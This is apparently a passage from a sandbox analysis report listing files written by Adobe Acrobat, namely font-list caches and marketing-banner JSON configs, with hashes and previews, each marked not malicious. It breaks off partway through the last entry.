Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1224

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1224

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.370456809729209
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJM3g98kUwPeUkwRe9:YvXKXJ18xsdTeOjGMbLUkee9
MD5:	796B91012CFFDA473F0D084C6177F76E
SHA1:	7AF831028809F8B1A9348FD73E31ADD9C4B88890
SHA-256:	D2A71D8F8E6F77C5669BF9D4C032B91F8ACC816AD9124CAF29D53E72CBB7EEAF
SHA-512:	40C37608ABEE4D553D4336F5FE4850FBFAF4DE2FD6621A6ACECEC4AA5E135CF1E621FE76FEC31DB744B4C087E0385C5042BB6F2C5C17E068A938B739BD2202C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.306127492453582
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJfBoTfXpnrPeUkwRe9:YvXKXJ18xsdTeOjGWTfXcUkee9
MD5:	F84D9E72B7C3E9891BD15AAD9EA51188
SHA1:	AFC31D2AC055F3E698AA1689BC08C6557A291AE4
SHA-256:	17109BCE819BF82CB399F2BB2707EE993B63B71BFD56C3C1092DB90C74953EFE
SHA-512:	303DB10DE0F447BA8C5A7F191073F475531E10BD330F79FBCF6D4939A832C60981630B0AFBC222B71D38470D31063AE5272B67F776CDC6CCD72B5218356333C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.285653675527614
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJfBD2G6UpnrPeUkwRe9:YvXKXJ18xsdTeOjGR22cUkee9
MD5:	4439FB58F0BD1C94C653AFE13F5628CE
SHA1:	F45AEC043CA76F5E0ECF2F0FF80EF530A511EB80
SHA-256:	350ADCEA7FA2F649F238B41464142AA97C0FE6199ADF9F0B07BB2ED1E882DE81
SHA-512:	E8F31781A8A8FE8B155E592153003BE2EA90BA3526DDB635C25AB99817D7A3BCD5B23B8C85B666A783F0CA9DF845D6052DBB189F5A8591254FDE77F395EA06A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.357584004933568
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJfPmwrPeUkwRe9:YvXKXJ18xsdTeOjGH56Ukee9
MD5:	3707891E538240959161A7A922F4A1D6
SHA1:	7D0C907A40A855B7EAE8FA050B9A5BD3F48EACC4
SHA-256:	56283639AA002FE0EA2AF61338D21861F51E4A2703893EE0A8E312490E28A764
SHA-512:	A8E14A292976E5CA49EFAC595FAC885B4D79A49490F627B697E62E734E8764A38429128A4BCB9B8426A8991EDD57A6F2731A2C37DCED42DCED96D3240C1D109E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688431228765682
Encrypted:	false
SSDEEP:	24:Yv6Xf6meO4pLgE9cQx8LennAvzBvkn0RCmK8czOCCSr:Yv8JeLhgy6SAFv5Ah8cv/r
MD5:	6D8C4E60A0A50B51AD0FBABB53873265
SHA1:	40F055669B85BA79C28C7005277E375DA6AA6F46
SHA-256:	755ACFF4353E245B8487839FB0C365B0E9BE0539633934E2C07DE725D32F54DA
SHA-512:	C19EE3D9FA2683D87FDCDA066C2689E6EFFA38914AFC2046416EB1B1909E6B9C2953758B1A0F774098740BBDC95C4F36502A376481EB45C3169014A9A3219866
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2923717015410725
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJf8dPeUkwRe9:YvXKXJ18xsdTeOjGU8Ukee9
MD5:	AD69CDFFADB97E0955F9936F1B61F9E9
SHA1:	C7509DD38E2F108273CB5CEFB471E66A52069150
SHA-256:	AAF5F8F2D4F8FCEA99DCF7A21B6F39825C6CF2632D8070D507A098468BD0C8AA
SHA-512:	7A3EE5F822D1BF03D5FC245BF6901426EF479430A3796568C34601C2BE7BD71D9AADA772E15211430F99C86B5C07F963D584BEC8F480BB2025E384AF4ED9352F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.295506927036573
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJfQ1rPeUkwRe9:YvXKXJ18xsdTeOjGY16Ukee9
MD5:	FA3FA3FE56477A46EE30A94FC0001A83
SHA1:	70AAF4D2FB494224E194CE87D792183A7AF40487
SHA-256:	053D7D6EC0CBD7D52CC5CCF159D454EEDE94DE419D3CD22B71C50978F32A0BF8
SHA-512:	BFB3F94449124507C4985FBAEA658D25F53F2E207B0DC3A41D85DF89BF61CD2F49D76CC9BCA1B7E95E57F59C3F6194DF97F6D3218878EB4C264057AAE9EA1D93
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311332868814067
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJfFldPeUkwRe9:YvXKXJ18xsdTeOjGz8Ukee9
MD5:	D13F2BFEAC04FAD57C6B55236F775085
SHA1:	2B872BBDD4C5B50AF6CE1B906C46AD669DC1A91A
SHA-256:	2C46EAB71A6B8727CB014540CE5740ACC7C0035007E594884D4CC4EC5D895213
SHA-512:	3B9DFFD4CE1CF4D6C43C0C83A78A094184F7477FE288E7DE0089F6708EA28DD2D188400B7321F5854B9A9F830F85B40A54D1F0AC9E45D76F238C4625F06824A1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.317927536050207
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJfzdPeUkwRe9:YvXKXJ18xsdTeOjGb8Ukee9
MD5:	25AD163DCA53D883008484B57A663F60
SHA1:	D50ACEDF3E5E7F07208539BB0A00D7CA99C751A1
SHA-256:	52B1D4DB1F2B2C768FE8436EEDC9303771E96774A005A9D4A3246A5673F165E4
SHA-512:	0938AFE6376914147811186A772205DF128E23964A4FE91EB464E9A490A4014187DA8705FB4E90A580E964368C6D65CC237A75BA1B1175AD1F022DE64F60EAF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29824764583891
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJfYdPeUkwRe9:YvXKXJ18xsdTeOjGg8Ukee9
MD5:	9416535B3E1D82D99035967466998397
SHA1:	08EA6988EDACF682AF60D25D783EFA49ABC37F11
SHA-256:	81C67F3E8CF1EC0C669E285BFDF0C31518F7A5FFD9AEE87D199F356F684F8AC7
SHA-512:	FB696F082620186926FC1E83FA43D427D9598E8744BFE0F53EAA5F916EC3D9FD7579313A8FE6B30069005D42B4415661F62D1FA9ABD8CA77D34F1DA9E55DC7D1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.28511600834579
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJf+dPeUkwRe9:YvXKXJ18xsdTeOjG28Ukee9
MD5:	0CC42BFE3ADB88FAC8C0080C80EC5B46
SHA1:	1192F004672AA74CDA786E643D96EBD92A3E5342
SHA-256:	27F9A0C73EE580203D2DDB4317A11CCA27FBB0E1895E2361173B2693D8C37661
SHA-512:	B3D6AB0C1703D409664C9369B102479419E9001C5392CE6F8C1DAEA6AE87503AAC590EE5B99327A752515EC2293FC5C89F9C5D38DB8D9AEAC3D4BFB7336BF877
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.281806787183984
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJfbPtdPeUkwRe9:YvXKXJ18xsdTeOjGDV8Ukee9
MD5:	8E9231A55F07C8718A9B0C5B7EEE0765
SHA1:	3CEBE64BC6CD1B7F4373BE80300A74DD9434BBFD
SHA-256:	6443D5A555DEE89BE48D00A28C138B05551C488282E98E4F49F390E40E127133
SHA-512:	ECFFBA7350259B04C8BB8604052A59C040ABE2E0AFB751D29DB0519F56BB27B98C6C98A6A6C2831129170B0C6142416A0C8CD94FC1AA7039F0B8AC588E55D34E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.286119604010652
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJf21rPeUkwRe9:YvXKXJ18xsdTeOjG+16Ukee9
MD5:	E627E665F40F8C1C7F2F2206DB3C9A3D
SHA1:	5705705C89FCA63BD5FC367227E8015BAFDA23D5
SHA-256:	2F36B75FBF8F671DA67A0BA313B6B84F053575CCC990BB7580EEC8846B41C112
SHA-512:	F77153433E6D95E0CA16B673394886682870DAE4F447DE22506776FA95960E4D5268B61052D9ACC59834AD656361F5DE55B41D8B8ABFBA28A5222060EB7660A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662709329571239
Encrypted:	false
SSDEEP:	24:Yv6Xf6meOMamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSr:Yv8Je7BgkDMUJUAh8cvMr
MD5:	555BA9FE3F49B7767E67B9B11A2ECF08
SHA1:	269ED5C957C12DCA82F38891C18F79E0DE192E6C
SHA-256:	C0E4BBCB408B54B771E665E9205C91EFAEEFD2C74D1EA79D9E0F3B1A16F7182C
SHA-512:	AE8265CBAF088CB17DF0DC9E60E003298B7CB9D2553E13D143B01C4BCF9FE6250927F081F72DA149B76C22F869DC633087D0D81ED383B6923D5C2D045BC97B63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"11d94335-9809-4861-b8de-0ee480ec1a5b","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736760897199,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.262615165748862
Encrypted:	false
SSDEEP:	6:YEQXJ2HXJ182WsGiIPEeOF0YQLoAvJfshHHrPeUkwRe9:YvXKXJ18xsdTeOjGUUUkee9
